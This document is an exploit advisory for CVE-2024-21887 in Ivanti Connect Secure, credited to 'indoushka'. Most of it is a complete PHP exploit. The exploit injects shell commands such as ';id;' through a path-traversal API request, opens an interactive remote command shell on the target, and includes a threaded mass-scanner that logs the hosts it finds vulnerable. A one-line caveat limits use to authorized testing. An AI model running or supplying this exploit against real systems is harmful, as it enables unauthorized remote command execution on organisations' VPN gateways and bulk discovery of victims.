Ivanti Connect Secure 9.x / 22.x Command Injection

=============================================================================================================================================
| # Title Ivanti Connect Secure 9.x / 22.x Command Injection

=============================================================================================================================================
| # Title : Ivanti Connect Secure 9.x and 22.x. Exploit and Scanner |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://www.ivanti.com/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/213670/ & CVE-2024-21887

[+] Summary : The provided PHP script targets CVE?2024?21887 and is designed to identify and exploit vulnerable systems through a crafted API request.
It initializes a reusable cURL session to send malicious JSON payloads to a specific endpoint, abusing path traversal and improper input handling.

[+] Key features of the script include:

Single?target and bulk scanning modes (URL or file-based).

Vulnerability detection by analyzing JSON error responses from the server.

An interactive shell mechanism that attempts to execute arbitrary commands by injecting them into request parameters.

Concurrent scanning using curl_multi for faster processing of multiple targets.

Optional logging of vulnerable URLs to an output file.

[+] Overall, the script goes beyond passive detection and includes active exploitation logic, making it suitable only for controlled, authorized security testing environments.

[+] PoC : php poc.php -u https://example.com

-f urls.txt -t 20 -o results.txt

<?php

class CVE_2024_21887 {
private $base_url;
private $session;

public function __construct($base_url) {
$this->base_url = $base_url;
$this->session = curl_init();
curl_setopt($this->session, CURLOPT_RETURNTRANSFER, true);
curl_setopt($this->session, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($this->session, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($this->session, CURLOPT_TIMEOUT, 10);
curl_setopt($this->session, CURLOPT_FOLLOWLOCATION, true);
}

public function send_backup_code_request($type_value = "id") {
$data = json_encode(["type" => ";{$type_value};"]);
$url = $this->base_url . "/api/v1/totp/user-backup-code/%2E%2E/%2E%2E/system/maintenance/archiving/cloud-server-test-connection";

curl_setopt($this->session, CURLOPT_URL, $url);
curl_setopt($this->session, CURLOPT_POST, true);
curl_setopt($this->session, CURLOPT_POSTFIELDS, $data);
curl_setopt($this->session, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'Content-Length: ' . strlen($data)
]);

$response = curl_exec($this->session);
$http_code = curl_getinfo($this->session, CURLINFO_HTTP_CODE);
$content_type = curl_getinfo($this->session, CURLINFO_CONTENT_TYPE);

if ($http_code >= 200 && $http_code < 300 && strpos($content_type, 'application/json') !== false) {
$response_data = json_decode($response, true);
if (isset($response_data['error'])) {
return $response_data['error'];
}
}

return null;
}

public function check_vulnerability() {
$error_message = $this->send_backup_code_request();
if ($error_message) {
echo "[+] " . $this->base_url . " is vulnerable - " . $error_message . PHP_EOL;
return $error_message;
}
return null;
}

public function interactive_shell() {
echo "[!] Shell is ready, please type your commands UwU" . PHP_EOL;

while (true) {
echo "# ";
$cmd = trim(fgets(STDIN));

if (strtolower($cmd) === 'exit') {
break;
} elseif (strtolower($cmd) === 'clear') {
system('clear');
continue;
}

$response = $this->send_backup_code_request($cmd);
if ($response) {
echo $response . PHP_EOL;
}
}
}

public function __destruct() {
curl_close($this->session);
}
}

function process_url($url, $output_file = null) {
$scanner = new CVE_2024_21887($url);
if ($scanner->check_vulnerability()) {
if ($output_file) {
file_put_contents($output_file, $url . PHP_EOL, FILE_APPEND);
}
return $url;
}
return null;
}

function main($argv) {
$shortopts = "u:f:t:o:h";
$longopts = [
"url:",
"file:",
"threads:",
"output:",
"help"
];

$options = getopt($shortopts, $longopts);

if (isset($options['h']) || isset($options['help']) || count($argv) == 1) {
echo "CVE-2024-21887 Exploit Script" . PHP_EOL;
echo "This script is designed to detect and interact with systems vulnerable to CVE-2024-21887." . PHP_EOL . PHP_EOL;
echo "Options:" . PHP_EOL;
echo " -u, --url Specify a single URL to scan. Use this mode for a focused scan on one target." . PHP_EOL;
echo " -f, --file Specify a file path containing a list of URLs for bulk scanning." . PHP_EOL;
echo " Each URL should be on a new line." . PHP_EOL;
echo " -t, --threads Set the number of concurrent threads for bulk scanning. Default is 10." . PHP_EOL;
echo " -o, --output Specify a file path to save the URLs that are found to be vulnerable." . PHP_EOL;
echo " Results are appended to this file in real time." . PHP_EOL;
echo " -h, --help Show this help message" . PHP_EOL;
return;
}

if (isset($options['u']) || isset($options['url'])) {
$url = $options['u'] ?? $options['url'];
$scanner = new CVE_2024_21887($url);
if ($scanner->check_vulnerability()) {
$scanner->interactive_shell();
}
} elseif (isset($options['f']) || isset($options['file'])) {
$file = $options['f'] ?? $options['file'];
$threads = isset($options['t']) ? (int)$options['t'] : (isset($options['threads']) ? (int)$options['threads'] : 10);
$output = $options['o'] ?? $options['output'] ?? null;

if (!file_exists($file)) {
echo "Error: File not found: " . $file . PHP_EOL;
return;
}

$urls = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$total = count($urls);
$processed = 0;

echo "Scanning " . $total . " URLs with " . $threads . " threads..." . PHP_EOL;

// Simplified threading implementation using curl_multi
$mh = curl_multi_init();
$handles = [];
$results = [];

// Function to process completed requests
function process_completed_requests(&$mh, &$handles, &$results, &$processed, $total, $output) {
while ($info = curl_multi_info_read($mh)) {
$ch = $info['handle'];
$url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);

if ($info['result'] == CURLE_OK) {
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$response = curl_multi_getcontent($ch);

if ($http_code >= 200 && $http_code < 300) {
$response_data = json_decode($response, true);
if (isset($response_data['error'])) {
echo "[+] " . $url . " is vulnerable - " . $response_data['error'] . PHP_EOL;
if ($output) {
file_put_contents($output, $url . PHP_EOL, FILE_APPEND);
}
$results[] = $url;
}
}
}

curl_multi_remove_handle($mh, $ch);
curl_close($ch);
unset($handles[array_search($ch, $handles, true)]);

$processed++;
echo "\rProgress: " . $processed . "/" . $total . " (" . round(($processed/$total)*100, 1) . "%)";
}
}

// Initialize requests
foreach ($urls as $url) {
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url . "/api/v1/totp/user-backup-code/%2E%2E/%2E%2E/system/maintenance/archiving/cloud-server-test-connection",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 10,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode(["type" => ";id;"]),
CURLOPT_HTTPHEADER => [
'Content-Type: application/json'
]
]);

curl_multi_add_handle($mh, $ch);
$handles[] = $ch;

// If we've reached the thread limit, process some requests
if (count($handles) >= $threads) {
do {
curl_multi_exec($mh, $running);
process_completed_requests($mh, $handles, $results, $processed, $total, $output);
} while ($running > 0 && count($handles) >= $threads);
}
}

// Process remaining requests
do {
curl_multi_exec($mh, $running);
curl_multi_select($mh);
process_completed_requests($mh, $handles, $results, $processed, $total, $output);
} while ($running > 0);

curl_multi_close($mh);

echo PHP_EOL . "Scan completed. Found " . count($results) . " vulnerable URLs." . PHP_EOL;
if ($output) {
echo "Vulnerable URLs saved to " . $output . PHP_EOL;
}
}
}

if (PHP_SAPI === 'cli') {
main($argv);
}


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================